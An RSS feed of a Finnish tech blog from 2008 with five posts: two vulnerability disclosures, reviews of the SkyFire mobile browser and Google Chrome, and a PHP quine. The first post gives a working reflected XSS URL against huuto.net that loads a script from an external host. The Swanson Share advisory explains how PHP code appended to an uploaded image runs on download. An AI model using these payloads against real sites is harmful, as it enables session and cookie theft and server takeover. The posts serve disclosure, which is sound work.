<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Komea Pimeässä &#187; Tietokoneet</title> <atom:link href="http://ihanu.us/category/it/feed/" rel="self" type="application/rss+xml" /><link>http://ihanu.us</link> <description>suht' hyvännäköinen hämärässä</description> <lastBuildDate>Mon, 30 Aug 2010 12:52:47 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0.1</generator> <item><title>Huuto.netissä XSS-haavoittuvuus</title><link>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/</link> <comments>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/#comments</comments> <pubDate>Wed, 12 Nov 2008 22:01:13 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Tietoturva]]></category> <category><![CDATA[huutonet]]></category> <category><![CDATA[xss]]></category><guid isPermaLink="false">http://aapon.ihanu.us/?p=199</guid> <description><![CDATA[Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä. Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän [...]]]></description> <content:encoded><![CDATA[<p>Suositulla <a href="http://www.huuto.net/" class="liexternal">huuto.net</a>-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä.</p><p>Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta</p><p>Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.<br /> Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa &#8216;&lt;script src=http://domain.com/script.js&gt;&lt;/script&gt;&#8217;. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa &#8216;&lt;script src=osoite&#8217;-muotoisen script-tagin onnistuneesti.</p><p>Nyt XSS on siis muotoa &#8216;fbuser=&lt;script src=http://domain.com/script.js&#8217;. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).<br /> Nyt siis URL on muotoa &#8216;huuto.net/fi/showfeedback.php3?fbuser=&lt;script src=//domain.com/script.js&#8217;.</p><p>Proof-of-concept löytyy osoitteesta <a href="http://xi7.org/t.js" class="liexternal">http://xi7.org/t.js</a>. Käytännössä koodia käytettäisiin seuraavasti: <a href="http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js" class="liexternal">http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js</a>. Koodi <strong>ei</strong> varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.</p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>SkyFire avoimeen betaan!</title><link>http://ihanu.us/2008/10/30/skyfire-avoimeen-betaan/</link> <comments>http://ihanu.us/2008/10/30/skyfire-avoimeen-betaan/#comments</comments> <pubDate>Thu, 30 Oct 2008 08:01:44 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Horinaa]]></category> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[beta]]></category> <category><![CDATA[browser]]></category> <category><![CDATA[mobile]]></category> <category><![CDATA[selain]]></category> <category><![CDATA[skyfire]]></category><guid isPermaLink="false">http://aapon.ihanu.us/?p=139</guid> <description><![CDATA[Niille, jotka ovat seuranneet WindowsMobile-laitteiden selaintilannetta viimeisen kuuden kuukauden aikana on SkyFire varmasti tuttu nimi. Eilen Skyfire Labs virallisesti lopetti suljetun betavaiheen ja avasi betan kaiken kansan kokeiltavaksi.Ohjelman lataaminen ja käyttäminen vaatii edelleen virallisesti yhdysvaltalaisen kännykkänumeron, mutta ainakin tällä hetkellä rajoituksen ohittaminen on äärettömän helppoa Itse selain on uskomaton. Olen käyttänyt PocketIE:tä jo aika päivät [...]]]></description> <content:encoded><![CDATA[<p>Niille, jotka ovat seuranneet WindowsMobile-laitteiden selaintilannetta viimeisen kuuden kuukauden aikana on SkyFire varmasti tuttu nimi. Eilen Skyfire Labs virallisesti lopetti suljetun betavaiheen ja avasi betan kaiken kansan kokeiltavaksi.<br />Ohjelman lataaminen ja käyttäminen vaatii edelleen virallisesti yhdysvaltalaisen kännykkänumeron, mutta ainakin tällä hetkellä rajoituksen ohittaminen on äärettömän helppoa</p><p><span id="more-139"></span></p><p>Itse selain on uskomaton. Olen käyttänyt PocketIE:tä jo aika päivät sitten kyllästymiseen asti, joten olen sen jälkeen testannut yhtä jos toistakin selainta WM-kännykälleni. Opera Mobile on toimintorikas, mutta järkyttävän hidas. Opera Mini taas on sutjakka mutta liiankin riisuttu. MiniMo/Fennec on kehityksessään vielä aivan lapsenkengissä (mm. siten, että tästä <em>mobiili</em>selaimesta on tähänmennessä julkaistu versiot Nokian webbitabletille, Windowsille ja OSX:lle). NetFront taas maksaa maltaita, kosketusnäytöttömien laitteiden versio on melko köyhä verrattuna &#8220;kunnon&#8221; versioon, ja tuotetuki on Japanin ulkopuolella säälittävää.<br /> Kaikilla selaimilla on iso liuta ongelmia. Joko ne ovat hitaita, tai niillä ei ole tukea juuri millekkään muulle kuin perus XHTML:lle. SkyFire on nopea(hko, mutta tämä lähinnä siksi että palvelu on virallisesti vain jenkkilän väelle), tukee mm. Flashiä niin hyvin, että esimerkiksi YouTube-videot pyörivät suoraan, ilman kikkailuja ja käyttöliittymä on selkeä ja yksinkertainen.</p><p>Ohjelma pitää käytössä ollessaan jatkuvaa palvelinyhteyttä erikoiseen välityspalvelimeen, joka hoitaa suurimman osan sivujen zoomauksesta ja renderöimisestä. Zoomaus on oikeasti älykäs, ja valitsee eri suurennusasteita tarkasteltavan sivunosan koon mukaan. Itse selailu tapahtuu kosketusnäytöttömissä laitteissa virtuaalikursorilla, ja kosketusnäytöllisillä laitteilla, no, koskettamalla. Asetuksia on erittäin vähän, mutta ohjelma ei juuri säätämistä kaipaa. Kaikki toiminnot ovat tarpeeksi yksinkertaisia, ettei niitä tarvitse sen suuremmin muokata, ja tärkein asetus selaimessa onkin äänten vaimennus.</p><p>SkyFire todella tuo PC:n webin kännykkään, niinkuin mainoksessa luvataan. Selaimessa on desktopilta tuttu automaattitäydennys osoite/haku-palkissa, sivut näytettään kokonaisuudessaan, ilman ihmeellisiä kappalekavennuksia tai muita kikkoja, ja asiat joiden odottaisi toimivan PC:n selaimessa (AJAX, Flash, Youtube) toimivat SkyFiressäkin.<br />SkyFire on kuitenkin mobiili-selain, ja vinkkaa käyttäjälle, jos selatusta sivusta löytyy mobiilioptimoitu versio. Windowssin mediaformaatteja käyttävien videoiden kohdalla selain myös mahdollistaa koko videon avaamisen erikseen MediaPlayeriin, jolloin video on helpompi katsoa koko ruudulta.</p><p>Tällä hetkellä on vielä vaikea sanoa mitään varmaa SkyFirestä. Selain on melko nopea, mutta ajoittain on tuskastuttavia hidasteluita. Nämä saattavat tosin täysin johtua siitä, että ainut käytettävissä oleva SkyFire välityspalvelin on tällä hetkellä USA:ssa, ja ongelma saattaa korjautua täysin jos/kun Skyfire Labs laajentaa tuotteensa saatavuuden virallisesti Eurooppaan asti. Toinen pullonkaula voi olla WM6.1-laitteeksi melko hidas HTC S710:ni. Sitä ei ole suunniteltu ajamaan uusinta Windows Mobilea, joten jo pelkät taustaprosessit saattavat hidastaa puhelinta siinä määrin, että suoritintehoa kaipaava selain saattaa kärsiä.<br />Suosittelen kaikkia kynnelle kykeneviä ainakin testaamaan SkyFireä, koska selain on jotain aivan uutta, ainakin minulle. Jo mahdollisuus katsella flashvideoita suoraan mobiiliselaimesta on mielestäni rekisteröinnin vaivan arvoinen. Selaimesta on WindowsMobile-version lisäksi saatavilla versio Nokian N- ja E-sarjan puhelimille (ja muille mahdollisille S60 3rd edition laitteille), jonka pitäisi sisältää kaikki samat ominaisuudet kuin WM-versionkin.<br /> Betaan voi rekisteröityä <a href="http://www.skyfire.com/register" class="liexternal">täällä</a> ja lisää tietoa SkyFirestä löytyy <a href="http://www.skyfire.com/product" class="liexternal">tuotesivulta</a>.</p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/10/30/skyfire-avoimeen-betaan/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Ensikosketus Google Chromeen</title><link>http://ihanu.us/2008/09/02/googlen-chrome/</link> <comments>http://ihanu.us/2008/09/02/googlen-chrome/#comments</comments> <pubDate>Tue, 02 Sep 2008 20:03:59 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[beta]]></category> <category><![CDATA[chrome]]></category> <category><![CDATA[gears]]></category> <category><![CDATA[google]]></category> <category><![CDATA[selain]]></category><guid isPermaLink="false">http://aapon.ihanu.us/?p=45</guid> <description><![CDATA[Google Chrome julkaistiin tänään. Kyseessä on Googlen kehittämä webbiselain, joka käyttää Applen WebKit-moottoria sivujen muodostamiseen. Olen nyt jonkin aikaa selaimen kanssa puuhaillut, ja ajattelin kirjoitella hieman ensivaikutelmia Selain todella on nopea. Välilehdet aukeavat erittäin sutjakkaasti ja itse selainkin käynnistyy todella vauhdikkaasti. Toisaalta vertailukohta on huono, koska omassa Firefoxissani on melkoinen liuta laajennuksia, joten sen käynnistymisajat [...]]]></description> <content:encoded><![CDATA[<p><a href="http://www.google.com/chrome/" class="liexternal">Google Chrome</a> julkaistiin tänään. Kyseessä on Googlen kehittämä webbiselain, joka käyttää Applen WebKit-moottoria sivujen muodostamiseen. Olen nyt jonkin aikaa selaimen kanssa puuhaillut, ja ajattelin kirjoitella hieman ensivaikutelmia</p><p>Selain todella <strong>on</strong> nopea. Välilehdet aukeavat erittäin sutjakkaasti ja itse selainkin käynnistyy todella vauhdikkaasti. Toisaalta vertailukohta on huono, koska omassa Firefoxissani on melkoinen liuta laajennuksia, joten sen käynnistymisajat eivät varmasti ole optimaalit.<br /> Toinen asia joka Chromessa heti pistää silmään on käyttöliittymän koruton siisteys. Selaimessa ei ole lainkaan perinteistä tekstivalikkoa, vaan ainoat kaksi valikkoa löytyvät painikkeista &#8220;osoite&#8221;kentänt oikealta puolelta. Tämä tuleekin olemaan asia josta vannoutuneet IE, Opera ja Safari-fanipojat varmasti tulevat kitisemään.. Omaan makuun systeemi sopii oikein hyvin. Kiitettävästi ei ole tarvinnut valikkoja juurikaan rassata; pikanäppäimet ovat vanhat tutut, ja muun käyttöliittymän kuvakieli on selkeää ja loogista.</p><p>Mainitsinkin jo &#8220;osoite&#8221;kentän. Kyseessä on Firefox 3:stakin tuttu &#8220;awesomebar&#8221;, PCP-höyryissä. Kun palkkiin alkaa näppäimistöllä jotain naputtelemaan, pomppaa listan alkuun ehdotuksiksi kirjanmerkkien ja sivuhistorian sivujen lisäksi googlen I&#8217;m feeling lucky-vastaus ja linkki oletushakukoneen hakutuloksiin kirjoitetusta tekstistä.<br /> Hyvä kun oletushakukone tuli puheeksi. Yllättäen tehdasasetuksena hakukone on Google, mutta Chrome tarjoutuu heti ensimmäiseksi asennuksen jälkeen vaihtamaan käyttäjän suosikkihakukoneen selaimen-käyttöön. Melkein saman tekee toki IE:kin, mutta Google on pitänyt huolta siitä, ettei selain liiaksi turputa julkaisijansa hakukonetta</p><p>Selaimeen on luonnollisesti sisäänrakennettu Googlen Gears, ja nopeiden testien perusteella WordPressissä ja Remember The Milkissä, selain äityy vielä entistä &#8220;vastaavammaksi&#8221; (mikä on oikea käännös lontoon &#8220;responsiveness&#8221;-sanalle?), tai siis.. parantaa vasteaikojaan :D</p><p>Myös konepellin alla on mukavia ominaisuuksia:</p><ul><li><strong>WebKit sivunmuodostusmoottori</strong>. Selain läpäisee <a href="http://www.webstandards.org/action/acid2/" class="liexternal">ACID2</a>-testin täydellisesti ja on äärimmäisen nopea piirtämään sivuja</li><li><strong>Tabikohtaiset prosessit</strong>. Jokainen välilehti suoritetaan omassa prosessissaan, joten jos sattuu eksymään ikävälle hyökkäyssivulle, tai JavaScript-ohjelmaa testatessa tekee hieman isomman mokan, ei koko selain (teoriassa) kuopsahda nurin, ainoastaan kyseinen välilehti. Järjestelmä toimi omissa testauksissa, mutta vaikea tietysti näin lyhyellä käytöllä sanoa mitään varmaa</li><li><strong>Incognito-tila</strong>. Suoraan ohjelman tiedosto-valikosta löytyy toiminto joka avaa uuden, selkeästi merkityn, ikkunan ns. Incognito-tilasssa, jossa selain ei tallenna mitään tietoa selailusta tietokoneelle. Sivuhistoria, syötetyt lomaketiedot ja salasanat poistetaan kun ikkuna suljetaan. Tämä on <strong>erittäin</strong> kätevää, koska näin ei tarvitse poistaa hyödyllisä tallennettuja lomaketietoja, vain koska tahtoo piilottaa selaimen hakuhistoriasta vaimon lahjayllätyksen :D</li><li>Googlen mukaan, selain sisältää aivan uusia JavaScript-systeemejä, jotka tulevaisuudessa voivat avata aivan uusia mahdollisuuksia verkkoohjelmistokehittäjille. Vaikka tämä onkin itselleni koko selaimen kiinnostavin ominaisuus (en voi ainakaan vielä ottaa Chromea oletusselaimekseni, siitä myöhemmin), mutten ole ehtinyt asiaan vielä tarkemmin perehtyä. Saatan kirjoitella aiheesta lisää jos näin teen.</li></ul><p>Kaikenkaikkiaan selain on ensimmäiseksi julkiseksi versioksi <strong>ERINOMAINEN</strong>, ja odotan innolla mitä tulevaisuus tuo Chromelle. En kuitenkaan ainakaan vielä voisi siirtyä Firefoxista Chromeen, vaikka Googlen selain erittäin siististi kopioikin kaiken tarvittavan ongelmitta sisäänsä (tallennetut salasanat, kirjanmerkit ym.). Käytän melko suurta määrää laajennuksia Firefoxissa, ja vaikka voisinkin ns. &#8220;hätätilanteessa&#8221; elää ilman niitä, jos saan valita: en tahdo.<br /> Googlella on kuitenkin suuria suunnitelmia Chromen suhteen, ja jos siihenkin saadaan joustava laajennustuki, voisin hyvinkin vaihtaa uuteen selaimeen.</p><p>Suosittelen kaikkia Windows-käyttäjiä ainakin kokeilemaan Chromea. Selain on hurjan vauhdikas, helppokäyttöinen ja selkeä, ja jos siirtyy esimerkiksi IE:n puolelta, ei pienen totuttelun jälkeen jää varmasti kaipaamaan mitään. Firefoxin ja Operan käyttäjät huomaavat varmasti puuttuvia ominaisuuksia, mutta haluan uskoa että tähänkin on tulossa vielä parannusta. Katsotaan mitä Google saa aikaiseksi selainmarkkinoilla. Kovin huonosti se ei ole oikein millään alalla vielä pärjännyt :P</p><p><a href="http://cdn.ihanu.us/wp-content/uploads/2008/09/chrome_1.png" class="thickbox" rel="" title=''><img src='http://cdn.ihanu.us/wp-content/uploads/2008/09/thumbs_chrome_1.png' alt='chrome_1.png' /></a><br /> <a href="http://cdn.ihanu.us/wp-content/uploads/2008/09/chrome_2.png" class="thickbox" rel="" title=''><img src='http://cdn.ihanu.us/wp-content/uploads/2008/09/thumbs_chrome_2.png' alt='chrome_2.png' /></a><br /> <a href="http://cdn.ihanu.us/wp-content/uploads/2008/09/chrome_3.png" class="thickbox" rel="" title=''><img src='http://cdn.ihanu.us/wp-content/uploads/2008/09/thumbs_chrome_3.png' alt='chrome_3.png' /></a></p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/09/02/googlen-chrome/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>PHP-Quine</title><link>http://ihanu.us/2008/03/06/php-quine/</link> <comments>http://ihanu.us/2008/03/06/php-quine/#comments</comments> <pubDate>Thu, 06 Mar 2008 18:12:00 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Web-suunnittelu]]></category> <category><![CDATA[php 5]]></category> <category><![CDATA[quine]]></category><guid isPermaLink="false">http://aapon.ihanu.us/2008/03/06/php-quine/</guid> <description><![CDATA[Flunssakohmeloissa päätin jostain syystä tänään kyhätä kasaan quinen PHP:ssä. Jos käsite ei ole entuudestaan tuttu, Wikipediasta löytyy melko kökkö artikkeli aiheesta. Tosi simppeli tapa huijata muka-quine on vain 21 tavua: &#60;?=$q[0]=file(__FILE__); Pätkä ei kuitenkaan ole oikea quine, koska se lukee lähdekoodin levyltä, eikä aito quine saa moista tehdä, eikä myöstään hankkia lähdekoodia jollain ohjelmointikielen erikoisfunktiolla, [...]]]></description> <content:encoded><![CDATA[<p>Flunssakohmeloissa päätin jostain syystä tänään kyhätä kasaan quinen PHP:ssä. Jos käsite ei ole entuudestaan tuttu, <a href="http://fi.wikipedia.org/wiki/Quine_(tietokoneohjelma)" rel="nofollow" class="liwikipedia">Wikipediasta</a> löytyy melko kökkö artikkeli aiheesta.</p><p><span id="more-23"></span><p> Tosi simppeli tapa huijata muka-quine on vain 21 tavua:<br /> <code>&lt;?=$q[0]=file(__FILE__);</code></p><p>Pätkä ei kuitenkaan ole oikea quine, koska se lukee lähdekoodin levyltä, eikä aito quine saa moista tehdä, eikä myöstään hankkia lähdekoodia jollain ohjelmointikielen erikoisfunktiolla, vaan sen tulisi muodostaa tulostettava koodi omin päin.</p><p>Oma koodini on lyhyin php quine jonka muutamankymmenen minuutin webbihaeskelulla löysin. Se on 41 tavua lyhyempi kuin <a href="http://www.dionyziz.com/Quine" class="liexternal">tämä</a>, jota monella sivustolla tituleerattiin lyhyimmäksi. En oikein usko että olisin ensimmäinen joka tämän tavan olisi keksinyt, eikä tässä ratkaisutavassa juurikaan ole muutosmahdollisuuksia, lukuunottamatta muuttujan nimeä. En kuitenkaan netistä moista mistään löytynyt, mutta jos joku muu tietää mistä vastaava ratkaisu, tai vielä lyhyempi php quine löytyisi, niin arvostaisin jos tämä sielu voisi jättää linkin kommenttina.</p><p>Mutta nyt itse pääesiintyjä:<br /> <code>&lt;?printf($q='&lt;?printf($q=%c%s%1$c,39,$q);',39,$q);</code><br />50 tavua, testattu toimivaksi PHP 5:ssä.</p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/03/06/php-quine/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Swanson Share vieraan koodin suoritus</title><link>http://ihanu.us/2008/01/31/swansonshare-vks/</link> <comments>http://ihanu.us/2008/01/31/swansonshare-vks/#comments</comments> <pubDate>Thu, 31 Jan 2008 06:13:30 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Tietoturva]]></category> <category><![CDATA[swanson]]></category><guid isPermaLink="false">http://aapon.ihanu.us/2008/01/31/swansonshare-vks/</guid> <description><![CDATA[Seloste Julkaisijan web-sivustolta: Swanson Share is a file hoster that allows you to upload a file that can only be downloaded once before it is deleted. All downloads are secured, so you can use Swanson Share to distribute digital downloads. Ongelma Skripti ei todellakaan suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja [...]]]></description> <content:encoded><![CDATA[<h4>Seloste</h4><p>Julkaisijan web-sivustolta:</p><blockquote><p>Swanson Share is a file hoster that allows you to upload a file<br /> that can only be downloaded once before it is deleted.<br /> All downloads are secured, so you can use Swanson Share to distribute digital downloads.</p></blockquote><h4>Ongelma</h4><p>Skripti ei <em>todellakaan</em> suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja tiedostonimen eteen lisätään muutama satunnainen numero, eli <em>puhuroidun</em> <small>(hihihihihi)</small> tiedoston voi suorittaa navigoimalla tähän kansioon ja valitsemalla halutun tiedoston.<br />Mikä vielä pahempaa, kun tallennettu tiedosto ladataan palvelimelta, skripti käyttää php:n include()-functiota tiedoston sisällön syöttämiseksi selaimelle, joten kaikki ladattavan tiedoston sisältämä php-koodi suoritetaan!</p><p><span id="more-20"></span></p><p>Hyökkääjä voisi yksinkertaisesti lisätä esimerkiksi gif-kuvatiedoston loppuun php-koodin, joka pudottaa etähallintatyökalun johonkin kansioon, joka on korkeammalla tiedostopuussa. Koodin voisi tämän jälkeen suorittaa lataamalla tiedoston. Näin skripti on haavoittuvainen, vaikka ylläpitäjä olisi muokannut skriptin estämään php-tiedostojen tallennuksen, ja evännyt selaimilta pääsyn säilökansioon, koska scripti tästä huolimatta sisällyttää ladattavan tiedoston latauksen yhteydessä</p><h4>Ratkaisu</h4><p>Tällä hetkellä ei ole olemassa virallista päivitystä tai ratkaisua Swanson Web Medialta. Olen ottanut kehittäjään yhteyttä useampaan otteeseen, mutten ole saanut vastausta.<br />Pahinta koko asiassa on, että kyseessä on melkein viidenkymmenen dollarin arvoinen skripti, eikä mikään &#8220;ilmais-kilke&#8221;.</p><p>Kotikutoinen ratkaisu olisi estää php:n suoritus säilökansiossa ja muokata skriptiä uudelleenohjaamaan selaimen ladattavaan tiedostoon, sen sisällyttämisen sijaan.</p><p><a href="http://aapon.ihanu.us/2008/01/31/swansonshare-mce/" class="liexternal">English version of this advisory</a></p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/01/31/swansonshare-vks/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using xcache
Page Caching using xcache (user agent is rejected)
Database Caching using xcache
Object Caching 629/713 objects using xcache
Content Delivery Network via Amazon Web Services: CloudFront: Amazon Web Services: S3: cdn.ihanu.us

Served from: ihanu.us @ 2010-09-10 20:46:15 -->